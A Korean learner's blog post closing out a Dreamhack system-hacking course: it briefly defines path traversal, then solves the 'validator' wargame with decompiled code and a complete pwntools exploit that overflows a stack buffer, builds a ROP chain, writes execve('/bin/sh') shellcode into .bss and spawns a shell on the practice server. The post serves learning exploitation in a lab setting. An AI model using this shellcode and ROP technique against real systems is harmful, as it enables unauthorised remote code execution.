[Dreamhack] Systemhacking - Path Traversal

chrmqgozj·2025년 1월 14일

DreamHack

목록 보기
12/39

후...드디어 마지막이다
2023년부터 시작해서 2025년에 되어서야 끝났지만, 2년의 기간동안 많이 배우고 성장한 것 같아서 나름 뿌듯하다! ^^

  1. 개념
    로컬 파일 시스템에 접근하는 서비스를 제공할 때는 접근할 수 있는 파일의 경로에 제한이 있어야 한다. path traversal은 사용자가 허용되지 않은 경로에 접근할 수 있는 취약점을 뜻한다.

1.1. 리눅스 경로 (절대 경로와 상대 경로)
절대는 절대고...
상대경로는 ./으로 시작하여 현재 경로를 기준으로 생각할 수 있다.

1.2. Path Traersal
권한 없는 경로에 프로세스가 접근할 수 있는 취약점

  1. validator
    오...굉장히 당황스러운데...
    server랑 dist 파일이 있다. 이건 뭐지
    cat으로 읽어도 깨져서 나온다.

ida로 하면 된다 ㅋㅋㅋ

2.1. 보안기법

다 된다.

2.2. validator_dist

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  validate(s, 128LL);
  return 0;
}
  • s에 0x400만큼 사용자 입력을 저장한다.
__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((int)i + a1) != correct[i] )
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}
  • a1: 사용자 입력값
  • a2: 128
  • idx 0~9까지 correct와 같은지 확인한다.
  • idx 11~127까지 a1[j] == a1[j+1] + 1이랑 같은지 확인한다.

correct = DREAMHACK!

(갑자기 리버싱 같은데...) 근데 여기서 이걸 통과하고 나면? 뭘 할 수 있는거지

s의 위치는 rbp-0x80
ret을 덮으면 되려나. get_shell도 없으니 rop로 해야할듯

오랜만이라 기억이 잘 안 나서... 이전에 쓴 글을 참고하였다.
https://velog.io/@danmuginima/Dreamhack-Systemhacking-Bypass-NX-ASLR

ret: 0x000000000040044e

pop rdi; ret: 0x00000000004006f3

어...근데 우리는 '/bin/sh'가 코드 내에 없다...

https://velog.io/@silvergun8291/ROPReturn-Oriented-Programming

여기 나온 것처럼 bss에 써서 활용할 수 있다고 한다. 그리고 애초에 문제에서 힌트를 줬다.

2.3. exploit.py

from pwn import *

p = remote('host1.dreamhack.games', 24162)
e = ELF('./validator_server')
r = ROP(e)

shellcode = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

read_plt = e.plt['read']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0]
bss = e.bss()

payload = b'DREAMHACK!'

for i in range(118, -1, -1):
    payload += bytes([i])

payload += b'A'*0x7

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode)+1)
payload += p64(read_plt)


payload += p64(bss)

p.send(payload)
p.send(shellcode)

p.interactive()

근데 이전까지는 read에 길이 값 안 넣어줘도 됐는데 여기서는 왜 에러가 나는건지;;

아무튼...! systemhacking 기본은 끝이다
물론 온전히 내 힘으로 한 것도 아니고 이것저것 참고도 많이 했지만...
일단은 이해했다는 것만으로도 뿌듯하다. 지금은 그걸로 됐다.
계속 문제 풀면서 헷갈렸던 것도 정리하고 경험치를 쌓아가면 되지 않을까
고생했다.

0개의 댓글